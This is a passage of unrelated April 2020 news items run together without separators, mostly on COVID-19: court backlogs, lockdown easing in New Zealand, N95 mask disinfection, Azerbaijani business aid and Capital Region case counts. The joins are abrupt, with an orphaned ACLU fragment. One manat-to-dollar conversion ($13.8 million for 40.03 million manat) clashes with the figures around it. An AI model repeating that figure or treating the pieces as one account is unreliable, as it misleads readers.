anti-social behaviour suggested that people are getting more frustrated and slightly angrier at things like noise nuisance, which perhaps isnt a surprise given whats going on. Police have vowed to continue responding to incidents, despite staff absences caused by the coronavirus, but the Crown Prosecution Service has updated its guidance to mean fewer criminals will be charged. Its inevitably going to lead to more diversion [away from prosecution], more cautioning and more no further action, Dame Vera said. We have to be very careful that victims are taken into account. No jury trials are being held and only urgent criminal cases are currently being dealt with by magistrates after more than half of court buildings were closed. When asked about victims experiences in court, Dame Vera Baird said the massive backlog of cases, including more than 37,400 in crown courts, was just going to get longer and longer. She told the Justice Committee of incidents where victims had not found out until the very last minute their case had been delayed, while some were confused about rules on attending court or if their health could be in danger. She said the confusion and chaos could cause victims to drop out of cases, after prosecution rates hit a record low in 2019. Dame Vera repeated calls for victims rights to be prioritised, after promises by the government to improve the support they receive. Systematically there is nobody whose responsibility it is to ensure that victims and witnesses get the entitlements they should have, she added. There is 100 miles we can go to give victims better treatment than they currently get without coming near affecting defendants rights. BAKU, Azerbaijan, Apr. 28 By Fidan Babayeva - Trend: As of April 27, 22,976 taxpayers appealed for state support to pay a certain part of the salaries of employees, while 73,760 private (micro) entrepreneurs appealed to receive the financial support, the Azerbaijani Economy Ministry told Trend on April 28. In total, 96,736 taxpayers working in the spheres affected by the pandemic appealed for financial support. The appeals were received as part of the measures to support entrepreneurship. The measures are being carried out in accordance with the action plan approved by the Cabinet of Ministers in connection with the implementation of paragraph 10.2 of the presidential decree on a number of measures to reduce the negative impact of the coronavirus pandemic (COVID-19) and the sharp fluctuations caused by it on the world energy markets and stock markets, on the Azerbaijani economy, macroeconomic stability, issues of employment in the country and business entities. The appeals received from 19,061 entrepreneurs concerning the payment of part of the salaries of 178,587 hired employees were considered, approved and transferred to the Ministry of Finance to transfer these funds to the taxpayers' bank accounts. The appeals of other taxpayers are under consideration. The amount of financial support on the currently approved appeals is 80.7 million manat ($47.5 million), including the amount of funds to be paid at the first stage is 40.4 million manat ($23.8 million). As of April 27, the State Treasury Agency of the Ministry of Finance ensured the transfer of funds in the amount of 38.5 million manat ($22.6 million) to 17,568 taxpayers for paying salaries to 168,778 hired employees. As part of the program to render financial support to private (micro) entrepreneurs, 73,760 appeals were received, 67,497 of which were approved and submitted to the Ministry of Finance for transferring the allocated funds to taxpayers' bank accounts. The volume of financial assistance upon the approved appeals is 44.4 million manat ($26.1 million). As of April 27, the State Treasury Agency of the Ministry of Finance ensured the transfer of funds in the amount of 40.03 million manat ($13.8 million) to 59,148 private (micro) entrepreneurs. The ministry stressed that the information on the results of filing applications within the financial support program and the transfer of funds to a bank account is sent in the form of notifications to the e-cabinets of taxpayers in the internet tax office (www.e-taxes.gov.az ) and SMS to the mobile phones. In case of any questions, taxpayers may contact the call center via "195" of the State Tax Service and local tax authorities, in which they have been registered. ---- Follow the author on Twitter: Fidan_Babaeva The much anticipated Small Business Administration's $350 billion loans through the Paycheck Protection Program which was supposed to bring relief to all, ran out of money in mid-April. That is just within a week after it opened. And the additional package of another $320 billion will neither last very long nor will it be able to help most local businesses in a substantial way. Taking note of this current situation, Designhill.com, one of the world's leading creative marketplaces, has decided to step up and support its community of small businesses, by all means possible. Driven by the passion of having helped more 1 million businesses to build their brand, the company is on the endeavor of doing even more. This week the company has launched yet another initiative - soslocalbusiness.com, a dedicated website for severely cash-strapped small and local businesses. SOSLB is a not-for-profit initiative and encourages individuals to help their local businesses by paying forward/paying in advance by way of purchasing vouchers listed by such businesses on the website. It's a win-win as on one hand customers would get hefty discounts and benefit from the exclusive deals while at the same time, it will help small businesses raise some extra working capital for paying their staff and rents. Designhill's Co-founder Rahul Aggarwal quoted, "We at Designhill serve business from diverse industries/sectors and we wish to support them during such troubled times, when they need us more than ever. We have pledged to dedicate 40% of our resources to help all such small businesses through various initiatives and we hope that we are able to help them survive during these hard times." If you are a small business and want to register for the SOSLB programme you can mail at [email protected] or signup here. Designhill: Designhill is the world's leading creative marketplace that caters to the creative needs of businesses and individuals alike who can source high-quality designs from professional designers and buy unique products created by independent artists. Media Contact: Alice Jackson [email protected] +91-8802692778 SOURCE Designhill Advertisement New Zealanders came out of lockdown and headed straight for McDonald's today as the country eased its coronavirus restrictions following a successful five-week quarantine. Hundreds of hungry Kiwis queued from midnight to get their first Big Mac in weeks as the fast food restaurant re-opened its doors this morning. Drive-thru services resumed at 5am with dozens of cars queuing before dawn in Christchurch and Wellington and authorities forced to create a special McDonald's queue lane in Gisborne. Prime minister Jacinda Ardern hailed New Zealanders for their 'incredible work' to 'break the virus's chain of transmission', which has allowed the country to downgrade its highest Alert Level 4 to a lower Level 3. The move means that many shops can re-open while public gatherings of 10 people are now permissible for weddings and funerals. Schools will start to re-open tomorrow. In addition, borders could soon be re-opened between Australia and New Zealand under a 'travel bubble' scheme being discussed by Ardern and Australian PM Scott Morrison. New Zealand has suffered only 1,124 confirmed cases and 19 deaths - including just two new cases in the last 24 hours - after moving quickly to impose a lockdown in March. Hundreds of Kiwis lined up to get their first McDonald's fix in weeks, after level four coronavirus restrictions were eased in New Zealand. Pictured: Dozens of cars wait in line in Christchurch Motorists queue up for a drive-thru McDonald's in Wellington this morning as New Zealand lifted its stringent five-week lockdown and downgraded its Alert Level 4 to a lower Level 3 Surfing is among the activities which became permissible again today after the strict lockdown was lifted in New Zealand. 24-year-old surfer Paul Moretti is seen here at Maori Bay in Auckland Builders work on a construction site in Christchurch today as New Zealand declared its five-week lockdown a success A woman receives her order outside a small shop in Wellington today, where a cafe worker is wearing a mask McDonald's restaurants in Christchurch and Auckland were among those where eager customers began queuing at midnight, while dozens of cars were already waiting at 3.30am in New Plymouth. In Gisborne, residents launched a Facebook group called 'How long's the line at Maccas Gisborne' to share updates on the re-opening this morning. New Zealand MP Christopher Bishop was among those to share a photo after getting his McDonald's fix on Tuesday, tweeting: 'What a morning.' McDonald's delivery is available in addition to the drive thru service, for a limited number of menu items, including favourites such as Big Macs, Quarter Pounders, cheeseburgers and Happy Meals. Coffee lovers also revelled in in barista-brewed beverages after more than a month without any form of takeaway or restaurant food. 'It's thrilling and exciting after a long haul,' said Roop Kaur, owner of the Mulberry Tree cafe in central Wellington, as she hurried to fill a brisk trade in online orders from office workers. 'I'm looking forward to some good business because hospitality has suffered a lot.' New Zealand's efforts to flatten the curve have been very successful, leading to the country relaxing coronavirus restrictions on Monday night People walk on Muriwai Beach near Auckland today, as PM Jacinda Ardern hailed New Zealanders for slowing the epidemic Eager customers were seen lining up before dawn. The fast food chain reopened at 5.30am on Tuesday McDonald's workers were seen preparing food for drive-through customers after it reopened In Gisborne, in the North Island, the district council was forced to create a McDonald's 'queue lane', designed to help keep traffic flowing in the area Masked construction workers are pictured at a building site on the first day of the easing of restrictions in Wellington A golfer tees off during a round at the Howick Golf Club on Musick Point in New Zealand today as restrictions are eased Aside from allowing takeaways, the move from a maximum Level Four alert means Kiwis can now fish, hunt, surf, swim and play golf. Retail business can also open, provided transactions do not involve physical contact, while gatherings of up to 10 people are allowed for events such as weddings or funerals. Schools will also reopen from Wednesday, but authorities said attendances were expected to remain extremely low with the vast majority of students in the South Pacific nation staying at home. The government predicted 400,000 people in the nation of five million would return to work under the more relaxed regime. The shift has only a small effect on the social lives of New Zealanders, who are still being asked to stay home and to practise social distancing. But the change is vital for business, with many industries severely sidelined over the last month. Businesses are still being asked to work from home if they can do so, and any workplaces which require close physical contact are not re-opening. The government has emphasised that social distancing must be maintained and illuminated roadside signs still flash the message 'Stay Home, Save Lives'. Surfers enjoy a sunrise venture into the sea in Christchurch this morning after five weeks of Level 4 lockdown in New Zealand People collect takeaway food at a cafe in Auckland today as New Zealand eases strict regulations implemented in March People resume construction work in Christchurch today as New Zealand moved out of its strictest alert level on Tuesday Kaipara Flats School teacher Maddy Tuffley prepares for the return of a small number of students tomorrow in Auckland Surfer Paul Moretti of Muriwai (left) gets ready to return to the water at Maori Bay with neighbour Mike Phillips (right) today Level Three restrictions will be in place for at least two weeks, with Ardern saying they would only be downgraded again if circumstances were right. Ardern has maintained a health-first approach to fighting COVID-19, arguing a drastic short-term action would benefit the economy in the long run. The PM today thanked Kiwis for persisting with a month-long lockdown which included 'the strictest constraints paced on New Zealanders in modern history'. 'There is no widespread underlying community transmission in New Zealand. We have won that battle,' she said. 'It's worked and we've done it together.' However, she added that 'at alert level 3 we are not out of the woods'. 'It is a recovery room, of sorts, to assess if the incredible work that New Zealanders have done at level 4 to break the viruss chain of transmission and prevent further community outbreak has worked,' she said. A man collects takeaway food at a McDonald's as New Zealand eases strict regulations implemented to curb the spread of the coronavirus People fish from the shore at Bucklands Beach in Auckland today after New Zealand eased its strict lockdown measures Kaiprara Flats School principal Debbie Hamer prepares her staff and the school for the return of a small number of students tomorrow in Auckland People walk down a street on the first day of the easing of restrictions in the New Zealand capital of Wellington today New Zealand only confirmed its first case on February 26, but had shut its borders by March 19 and started imposing a full-scale lockdown on March 26. Health officials have also carried out more than 126,000 tests and have nearly 70,000 more testing kits in stock, government figures show. Those efforts have produced remarkably low case numbers. On Monday, health officials reported the country's 19th death from only 1,124 confirmed coronavirus cases., The latest death was a woman aged in her 90s, linked to the St Margaret's residential care facility in Auckland. All of New Zealand's deaths have been people over 60 - and all but two were over 70. Ten out of 19 deaths are linked to one of two care homes in Christchurch. Fewer than 90 people have been to hospital with the disease - including only nine who are currently there - while the overall tally only rises to 1,472 even when 'probable cases' are included. Still, top microbiologist Siouxsie Wiles warned that 'there may still be some smouldering ashes out there. And they have the potential to become a wildfire again if we give them the chance.' She added: 'It can take from two to 10 days for people who are exposed to the COVID-19 coronavirus to come down with symptoms. 'That means we wouldnt smell the smoke for a few weeks. And that could put us back where we started before the lockdown.' This graph shows the daily number of cases (in yellow) and the daily percentage change (in red) in Australia, which could re-open its borders with New Zealand under a mutual 'travel bubble' scheme Swimmers return to the water at Sydney's Bondi Beach today, after it was closed for five weeks because of the coronavirus lockdown in Australia Swimmers walk off the beach through taped off areas to ensure safety at Bondi Beach on Tuesday People at Bondi Beach have been told to 'surf and go', meaning they should take their exercise then immediately return home The partial re-opening has prompted discussions about a 'travel bubble' in which New Zealand and Australia would re-open their borders to each other. Australia has also enjoyed success in flattening the curve, and Sydney's Bondi Beach re-opened to surfers and swimmers today as part of a gradual easing of restrictions. Bondi was completely shut for five weeks after large crowds continued to flout social distancing rules by sunbathing and swimming there. New South Wales is now letting surfers go back there, although it is encouraging surfers to stay in a narrow channel of cordoned-off beach that leads straight to the water. Similar arrangements are in place on neighbouring beaches and, once their exercise is over, visitors are being urged to head straight home. NSW state premier Gladys Berejiklian plans to relax other restrictions from Friday, including allowing residents to welcome up to two visitors to their homes. Journal of the American College of Surgeons study authors report a framework to address supply limitations and enhance safety of health care workers by returning their disinfected N95 masks to them for reuse CHICAGO (April 28, 2020): Amid shortages of personal protective equipment due to the Coronavirus Disease 2019 (COVID-19) pandemic, a St. Louis health care system has implemented a process to disinfect disposable N95 respirator masks that allows health care workers to reuse their own mask for up to 20 cycles. The novel disinfection process, developed in collaboration with Washington University School of Medicine, uses vaporized hydrogen peroxide and is described in an "article in press" on the Journal of the American College of Surgeons website in advance of print. Test results from a pilot program at Barnes-Jewish Hospital and two other hospitals that are also part of BJC HealthCare, showed that the disinfection process kills germs from N95 masks while ensuring that the only person who touches the mask is the original mask wearer, study authors reported. "Our primary outcome is safety for the health care worker," said project leader and study coauthor Andrew Pierce, MHSA, director of supply plus at Barnes-Jewish. "We want to make it safer for team members who are at risk while taking care of patients with a known or possible COVID-19 diagnosis." Their program uses a disinfecting procedure first tested by Duke University researchers in 2016.1 However, the Barnes-Jewish process has a unique modification--an identification system that enables the hospital to return the sanitized mask to the same individual each time, said senior author Shaina Eckhouse, MD, FACS, assistant professor of surgery at Washington University School of Medicine, St. Louis. Dr. Eckhouse is part of the multidisciplinary team of university and hospital staff who developed the disinfection program. This approach, according to the authors, increased employee acceptance of reusing what is normally a single-use N95 mask and helped ensure proper fit of the returned mask. During the COVID-19 pandemic, the Centers for Disease Control and Prevention has recommended strategies for conserving personal protective equipment, including decontamination and reuse of N95 masks.2 Almost half of U.S. health care facilities reported being nearly or completely out of N95 respirator masks, according to a March 27 survey conducted by the Association for Professionals in Infection Control and Epidemiology.3 In late March, before the program began, Barnes-Jewish had a low inventory of N95 masks--about a week's worth--and no expectations for replenishment because of international shortages in hospital supply chains, according to Mr. Pierce. How the process works The disinfection process that has since been put into place begins at the end of a shift. A health care provider removes his or her N95 mask in that unit's soiled utility room and places it in a sterilization pouch (Crosstex) made of breathable polyethylene fiber (Tyvek by DuPont) on one side. On the other side of the sealed pouch, the worker writes his or her name or employee ID number, hospital, department, and unit location and puts the pouch in the soiled collection bin. A designated worker wearing proper protection collects the bins twice a day and takes them to a specially designed and sealed disinfection room--built in four days, according to Dr. Eckhouse. There the pouches are arranged, breathable side up, by clinical unit on wire racks. A hydrogen peroxide vapor generator (Bioquell Z-2), which Washington University already owned to decontaminate equipment, fills the room with the chemical. After 4.5 hours of disinfection, a worker moves the racks of masks to another area that has a fan to offgas the hydrogen peroxide, where the masks stay until sensors record a zero reading. The pouches are returned to their respective units in a decontaminated bin, finishing a process that takes about seven hours, Mr. Pierce said. Workers can wear their mask up to three weeks because past studies show that disinfection more than 20 times could alter the fit of the mask, he noted. Since the program began April 1 in the Barnes-Jewish emergency department, it expanded in just two weeks to additional clinical departments and other hospitals in the system, which Mr. Pierce called "an immense achievement." "A welcome improvement" Currently, Mr. Pierce said they are disinfecting 240 N95 masks a day and have the capability of disinfecting 1,500 masks daily. Without the disinfection program, he said the health care system would need to discard a substantial amount of its respirator masks. Because of the disinfection, the hospitals now have enough masks to last for weeks. "This program is a welcome improvement for extended usage of N95s during the shortage that we are facing," Mr. Pierce said. Dr. Eckhouse said other hospitals facing mask shortages can reproduce the disinfection program if they bring together experts in environmental health and safety, medicine, and facility management. "Having the infrastructure already in place would improve the ease of deploying an N95 disinfection process," she stated. ### Other study coauthors are Julie Grossman, MD; Jessica Mody, MHA; Jason Gagne, TS; Carol Sykora, CIC, FAPIC; Sena Sayood, MD; Susan Cook, PhD; Nirah Shomer, DVM, PhD; and Stephen Y. Liang, MD, MPHS. "FACS" designates that a surgeon is a Fellow of the American College of Surgeons. Citation: Institution of a Novel Process for N95 Respirator Disinfection with Vaporized Hydrogen Peroxide in the Setting of the COVID-19 Pandemic at a Large Academic Medical Center. Journal of the American College of Surgeons. DOI: https://doi.org/10.1016/j.jamcollsurg.2020.04.029. The authors report no disclosures. 1 Schwartz A, Stiegell M, Greeson N, et al. Decontamination and reuse of N95 respirators with hydrogen peroxide vapor to address worldwide personal protective equipment shortages during the SARSCoV-2 (COVID-19) pandemic. Appl Biosafety. Published online March 27, 2020. Accessed April 23, 2020. Available at: https://absa.org/wp-content/uploads/2020/04/APB_919932.pdf. 2 Decontamination and reuse of filtering facepiece respirators. Centers for Disease Control and Prevention. Updated April 22, 2020. Accessed April 23, 2020. Available at: https://www.cdc.gov/coronavirus/2019-ncov/hcp/ppe-strategy/decontamination-reuse-respirators.html. 3 Protecting healthcare workers during the COVID-19 pandemic: a survey of infection preventionists. Association for Professionals in Infection Control and Epidemiology; March 27, 2020. Accessed April 23, 2020. Available at: https://apic.org/wp-content/uploads/2020/03/Protecting-Healthcare-Workers-Survey_Report_3_26_20_Final.pdf. About the American College of Surgeons The American College of Surgeons is a scientific and educational organization of surgeons that was founded in 1913 to raise the standards of surgical practice and improve the quality of care for surgical patients. The College is dedicated to the ethical and competent practice of surgery. Its achievements have significantly influenced the course of scientific surgery in America and have established it as an important advocate for all surgical patients. The College has more than 82,000 members and is the largest organization of surgeons in the world. For more information, visit http://www.facs.org. The federal government has been urged to set-up testing centres in all 774 local governments areas across the federation. The advise was given by the House of Representatives today, while also resolving to send an invitation to the Minister of Health, Osagie Ehanire, the Director-General Nigeria Centre of Disease Control, Chikwe Ihekweazu and Chairman of the COVID-19 Task Force, Boss Mustapha to appear before the House on Tuesday, 5th of May, 2020 to brief the House on COVID-19 efforts in Nigeria. The chamber further asked the federal government to give each state a minimum of N1billion support and asked that the same support granted to Lagos and the Federal Capital Territory (FCT), should be granted to Kano. The resolutions followed the adoption of a motion on matters of urgent public importance moved by the leader of the House, Alhassan Ado Dogwa from Kano state. Leading the debate on the motion, Dogwa said: The case we have in Kano is alarming, some people have called it a disaster, some have called it a calamity, Mr. Speaker, I want to say that based on my experience, it is not only a disaster or a calamity but it is a catastrophe. Some of the deaths that we recorded may not be unrelated or connected with the COVID 19, but it is believed even by medical professionals in the state that there must be something behind or aside the covid19. When the motion was put to question, it was adopted by the House. Share this post with your Friends on Many states will be requiring social distancing signage in order to resume business in the coming weeks. All businesses will need to follow the new rules but they can now also maintain the look and feel of their current decor. Custom decals are available for a variety of establishments including: business offices, salons, restaurants and cafes, veterinarians, retail stores and many more. In addition to their hundreds of funny quote decals, they also offer inspirational and famous quotes as well as standard safety decals. Each industry has packs of 5, 10, 15 and 20 decals with unique sayings. Businesses can easily select a color to match their brand, and add a logo to customize the decal for their business. Their floor decal line offers 60x 5 floor spacers, 15 circle and square distance markers and 15 directional arrows. "There's nothing particularly fun about social distancing, but these lighthearted and uplifting decals can bring a smile to customers and employees dealing with the new distancing requirements," said Merrie Casteel, co-founder of SocialD Products. "Business owners we spoke to across the country really want to be compliant, but also asked for a cost effective and enjoyable way to maintain social distancing when it is safe for them to reopen," Casteel said. The decals are produced at a sister-company's facility in Akron, Ohio and ship out in 1 day. All orders include fast and free shipping to help businesses get these products in hand as soon as possible. Products are available immediately on the company's website: socialdproducts.com. About SocialD Products SocialD Products is a decal printing company located in Akron, Ohio. SocialD Products produces fun and customizable floor decals to help businesses stay compliant with new social distancing guidelines. While SocialD Products is a new business, owner Merrie Casteel and her team have years of experience in the printing industry. Press Contact: Merrie Casteel 330-357-2188 [email protected] https://socialdproducts.com SOURCE SocialD Products Related Links https://socialdproducts.com The ACLU argued that legal opinions as distinct from wiretap applications and grand jury proceedings in criminal cases are public under the law. If you rule that this opinion should remain sealed, you will be the first court to rule that legal analysis in an opinion in a criminal case is not available to the public, ACLU lawyer Jennifer Granick told the panel. She cited a long history of opinions from 1929 to the present interpreting laws on wiretapping. ALBANY Albany County is approaching 1,000 coronavirus cases. County Executive Dan McCoy told reporters Tuesday that the county hit 962 diagnoses overnight, an addition of 25 cases since Monday. McCoy said 917 people remain in mandatory quarantine and 23 people are in precautionary quarantine. As of Tuesday, 487 people have recovered. Going over 1,000 positive cases will put Albany County in the same company as other upstate counties with some of the highest counts, including Ulster (1,230) and Monroe (1,371) counties, according to state Health Department data. McCoy said the county is starting to see people failing to follow mandatory quarantine rules, especially younger adults who test positive. The county has seen more adults ages 20 to 29 with the disease than any other age group, except adults 50 to 59. So far, 158 people between the ages of 20 and 29 - roughly 16 percent of all diagnosed cases - have tested positive. But driving home the point that the virus is dangerous might be difficult: No one in that younger demographic has died in Albany County and only three people under the age of 50 have been hospitalized. "People still have an issue with it," he said. "It's not about you, it's about protecting the people around you." Latest coronavirus-related cancellations, postponements The latest coronavirus numbers in NY Sign up for the Times Union coronavirus newsletter Full coronavirus coverage The county will also start providing personal protective equipment for the staff at Priority 1 Health in Guilderland. The urgent care center began testing on its own recently and the county wants to support the effort, which expands testing opportunities for residents in Guilderland and other areas of the county, such as New Scotland and Berne, McCoy said. The urgent care center staff is providing the testing, which is reimbursable through health insurance. Residents interested in getting tested there must make an appointment - the site will not have walk-up or drive-thru options. The company said the quickest way to help stop the spread of the disease is cooperation between the public and private sectors, said Dr. Jonathan Halpert of Priority 1 Health. "We're ready, we want to be a part of the solution," he said. To schedule an appointment at the Guilderland office, you can call (518) 867-8040. The county is still operating mobile test sites in Albany and other areas of the county. County Health Commissioner Elizabeth Whalen said so far, data from the mobile testing sites shows similar numbers to what the county was seeing from previous testing. So far, 495 people have been tested at the mobile locations, including 408 at the Albany sites and 87 at the Watervliet site, according to the county. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The mobile tests have shown a slightly higher percentage of residents who make appointments testing positive for the virus. Prior to the mobile test sites opening up, about 7 percent of patients tested came back positive for COVID-19. That percentage has now crept up to 10.5 percent, according to the county's demographics dashboard. Where to get tested for COVID-19 in the Capital Region Rensselaer County nursing home cases worsen The area saw five more COVID-19 deaths, three of which were in Rensselaer County. County officials said two more residents at the Diamond Hill nursing home in Schaghticoke died. The third victim was a Nassau resident, bringing the county's death toll to 16. Rensselaer County also said there are three more positive cases at the facility - two residents and a staff member - bringing the home's total to 25 residents and 11 staff members since the pandemic began. Of those 25 residents, 10 have died. There are at least 15 more residents and eight staff members at other nursing homes in the county who have also tested positive for the disease. The spread of coronavirus in nursing homes and other adult care facilities is a major driver of New York's death toll. Roughly one-quarter of all deaths in the state have occurred among residents of these facilities. County Executive Steve McLaughlin called for changes in how nursing homes screen people seeking admission, including giving COVID-19 tests to anyone seeking to become a resident or being re-admitted to a facility. As of Tuesday, April 28, more than 2,500 confirmed cases of the novel coronavirus had been reported in 11 Capital Region counties and 122 deaths had occurred. Known case counts, hospitalizations, recoveries and deaths are available below by county. Albany 962 cases, 43 hospitalized, 10 in ICU, 487 recovered, 36 deaths Columbia 169 cases, 15 hospitalized, 4 in ICU, 85 recovered, 13 deaths Fulton 66 cases, 3 deaths Greene 126 cases, 46 active, 78 resolved, 6 hospitalized, 5 deaths Montgomery 52 cases, 34 recovered, 2 under medical care, 1 death Rensselaer 273 cases, 150 recovered, 14 hospitalized, 5 in ICU, 16 deaths Saratoga 335 cases, 11 hospitalized, 122* recoveries, 12 deaths Schenectady 452 cases, 24** hospitalized, 270 recoveries, 23 deaths Schoharie 32 cases, 4 hospitalized, 26 recovered, 1 death Warren 143 cases, 5 hospitalized, 92 recovered, 10 deaths Washington 118 cases, 59 recovered, 2 deaths *as of April 14 **includes all hospitalizations in county, regardless of patients county of residence As Pennsylvania businesses plan for reopenings after the coronavirus lockdown, the state Supreme Court on Tuesday ordered lower courts statewide to prepare to operate on a much broader range. County and state courts have been operating on a strictly limited emergency basis during the pandemic, with nearly all in-person proceedings banned. Even the clock on the right to a speedy trial has been suspended. Courts play a central role in our constitutional democracy, and its important to ensure that they are available to those seeking vindication of their rights or resolution of disputes, said Supreme Court Chief Justice Tom Saylor. The COVID-19 health emergency has forced everyone to adapt, and courts have quickly adjusted to handle a wide range of matters remotely. While the (Supreme Court) has extended the judicial emergency through June 1 in order to provide president judges with authority to address varying local conditions, we recognize the need to move beyond emergency matters to a much broader range of court functions, Saylor said. We do so, however, giving priority to our most critical functions and in a manner consistent with public health and safety. With the exception of speedy trial calculations, the statewide suspension of time calculations and deadlines provided for in the courts previous orders along with directives for payments to district judges will end effective May 11, he said. County president judges will have substantial discretion in enforcing those deadlines. Criminal and civil jury trials Jury trials remain suspended, Saylor said. He said communication technology should be used to keep court proceedings open to the public and the news media. Specifically, the Supreme is ordering that: Court leaders must implement and maintain procedures that limit potential COVID-19 exposure, including restricting in-person access to court facilities. Subject to constitutional limitations, any state or local rule that impedes a judges ability to utilize available technologies to limit in-person contact is suspended through June 1, 2020. For proceedings that must be held in person, appropriate safety measures, consistent with federal and state executive guidance, should be employed. All courts are encouraged to consider deciding matters on the papers and/or to conduct proceeding through the use of advanced communication technologies, to the extent constitutional requirements can be satisfied. Court filings should be by means other than in-person delivery whenever possible. Self-represented litigants or attorneys who believe the enforcement of time deadlines pose a danger to health and safety may file a certification with the court for consideration. Attorneys are encouraged to conduct depositions remotely; and Deposition of and required appearances for doctors, nurses, or other healthcare professionals substantially involved in responding to the COVID-19 pandemic are suspended through June 1. The Royal Oak City Commission used Zoom for its Monday meeting and their 16-item agenda. The highlight was item number 15, the resolution to censure Commissioner Kim Gibbs as requested by Mayor Pro Tem Patricia Paruch and supported by Commissioners Sharlan Douglas and Kyle DuBuc for her taking part in the Operation Gridlock in Lansing on April 15. The censure vote was 5-2 in favor of the censure. The 7:30 p.m. meeting ended around 1:20 a.m. Tuesday morning. Public comment was held via pre-recorded phone calls. There were 100 total calls taken the afternoon leading up to the meeting. Two were hang ups, 96 were about the censure alone and four were not about the censure. Commission members had problems hearing the pre-recorded comments, delaying the meeting even further. After a short break, they reconvened and listened to more than two hours of phone calls in regard to the resolution. Comments were edited for brevity. Linda R. of Royal Oak said, I am embarrassed, disheartened and saddened that Royal Oak Commissioner Kim Gibbs took part in a political rally in Lansing where she appeared with people who had no PPE, were not respecting proper distancing practices, were blocking access to hospitals and were brandishing guns and Confederate flags. Randy Painter, a long time taxpayer here in Royal Oak, said, The issue concerning Kim Gibbs and any censorship of the commission with this Gibbs protest thing, really reeks of partisan politics and almost a totalitarian type of attitude going on in Royal Oak with the commission. I really, really think this is a dangerous mindset the commission is embarking on. She is entitled to her opinions, right or wrong, under the First Amendment of the U.S. Constitution. The commission is overreaching their authority. Comments ran on both sides in support of Gibbs and in support of the censure. Gibbs was supported by Commissioner Randy LeVasseur who said in his lengthy response before voting on the resolution, This commission has a history of taking such actions of disrespecting the opinions and perspectives of others. From my perspective, disagreements are part of the political process. They are a necessary part of the checks and balances of the system that leads to better government. You dont seem to see that. You dont seem to respect that Its all about this commission trying to shut down Commissioner Gibbs because shes not part of your crowd. You are not what we need representing us in Royal Oak, Commissioner Melanie Macey stated at the end of her lengthy statement against Commissioner Gibbs in support of the censure. Gibbs defended her actions before the vote. I do want to thank all the people who have supported me with their kind words and messages and support as I have come under attack, she said. I have seen the emails that came from the greater Royal Oak Democrat club. I was exercising my First Amendment rights when I attended Operation Gridlock in support of thousands of Michigan small businesses. Mayor Mike Fournier made the final comments before the vote, noting we should hold our elected officials to a higher standard. The resolution came about due to Gibbs attending an outdoor rally at the Michigan State capital on April 15. The resolution noted that by failing to obey the safe-distancing order in the middle of a large public gathering and without a protective mask, Commissioner Gibbs violated her oath of office to support the Constitution of the State of Michigan and the laws, orders and regulations promulgated thereunder, and her failure to comply with the executive orders, Commissioner Gibbs put other attendees and citizens with whom she came in contact, or with whom she will come in contact, at greater risk for contracting COVID-19. The full resolution is found on the citys website. City Attorney and Interim City Manager David Gillam explained more about the censure in an email. Generally, a censure is a formal reprimand of one of the members of a body by the remainder of the body, Gillam said. The Royal Oak City Charter does not provide the City Commission with the authority to remove a sitting member from office. As a result, as sitting city commissioner can either be recalled pursuant to state election law or removed by the governor under state law for misconduct in office. And according to Gillam, Under the City Charter, if there is a vacancy on the City Commission, the vacancy is filled by a majority vote of the remaining members. A court in Lebanon has ordered the arrest of 17 people including the Chief of Sonatrach Petroleum (SPC); a subsidiary of Algerias state-run oil company, on corruption and supply of adulterated fuel charges, reports say. Judge Ghada Aoun, prosecutor at Mont-Liban court of appeal, ordered the arrest after state-run Electricity of Lebanon (EDL) lodged early this month a complaint against SPC for trying to supply the energy company adulterated fuel. The shipment of fuel stemming from an Algeria-controlled refinery in Sicilia arrived in Lebanon last month for EDL. Tests of the samples from the shipment vetted by Italian laboratory validated the commodity but counter tests conducted by Karadeniz, a Turkish operator which is also beneficiary of the fuel, revealed that shipment was adulterated fuel. Investigations launched into the case however revealed that SPC, regular EDL supplier, has been providing client with tampered fuel since 2005 and concealed the suppliers, reports say. The investigations also indicated that kickbacks worth sizeable amount of money have been paid to agents through trading companies. Sonatrach in a statement issued on Sunday denied any wrongdoing arguing that no official of its subsidiary has been arrested and added that the alleged SPC Chief was an independent shipping agent working with Lebanon-based Algerian company. Weve seen 3D printing save lives of humans during COVID-19 outbreak. However, recently it has also managed to save the life of a beautiful and rare bird in Thailand. EPA Wildlife officers in Thailand found an injured hornbill, with broken wings and a part of his beak snapped off, in Kanchanaburi, the western part of Thailand on April 18th. The bird was named Coco, and the damage done to its beak was catastrophic, with the lower beak missing entirely, where it was even unable to eat. Wildlife officials looked for the broken beak but couldnt find it. To help the bird, wildlife officers decided to take the help of 3D printing. They 3D scanned her body and printed a plastic replacement for her beak. It was attached to the lower beak. While it worked fine, it broke within just half an hour of use. Viral Press Researchers then used a high-tensile synthetic steel glue to create a stronger bond and now the beak has managed to stay in place. Kanokwan Taruyanont, one of the vets behind Cocos treatment revealed that the bird has unfortunately suffered severe damage to its muscles and the nerves, and can no longer fly. She will be kept in captivity. Coco is a Great Hornbill and is categorised as near threatened, with its population on a constant decrease around the world. EPA National Park chief Suchai Horadee feels that Coco was shot by hunters. He said, Normally, the hunters will take for the whole bird and not just its bill. But since we have not found its bill yet, we are not sure who shot it or if it was an accident. It may have been locals who had entered the park looking for wild plants. We are already investigating what happened with the bird and its bill. Newsagent brothers who died of coronavirus side-by-side in intensive care have become the latest shop-workers killed by the pandemic. Ghulam Abbas, 59 and Raza Abbas, 54 died next to each other in an intensive care unit in Newport, South Wales, after testing positive for coronavirus. The family was already grieving after the brothers' father died, of bad health unrelated to coronavirus, just three weeks before them. The Abbas family run a newsagent in Newport since 1982 and is well-known by the community. Newsagents Ghulam Abbas (pictured right) and Raza Abbas (pictured left) died side-by-side in intensive care in Newport, South Wales after they both got coronavirus Ghulam's daughter, Rukhsar, said: 'I didn't realise how much of a well-known family we had, and how much of an impact my father and his brother had on the community, until now. 'We've had so many messages of support from members of the community and further afield, and even MPs have contacted us to send their condolences. 'It shows the kind of men they were, we're all so proud of them and are totally heartbroken.' Raza had been in a coma with coronavirus since March 27 and Ghulam was admitted to hospital with the virus almost two weeks later on April 7. Both brothers died within hours of each other on April 21 and had a funeral the next day with their coffins passing their homes. 'I had to grieve for my father through a window. It's a horrible feeling that I wouldn't wish on anyone,' said Rukhsar. The Abbas family have thanked the community for their support through the death of Ghulam and Raza and the death of their father three weeks before Essential shops have stayed open during the lockdown leaving shop-workers vulnerable to contracting the virus. Before the Abbas brother,s four shop-workers have died because of the virus, according to the Federation of Independent Retailers. A worker at FreshGo, Kumar, in Gipsy Hill in south London died of coronavirus after being hospitalised. Raj 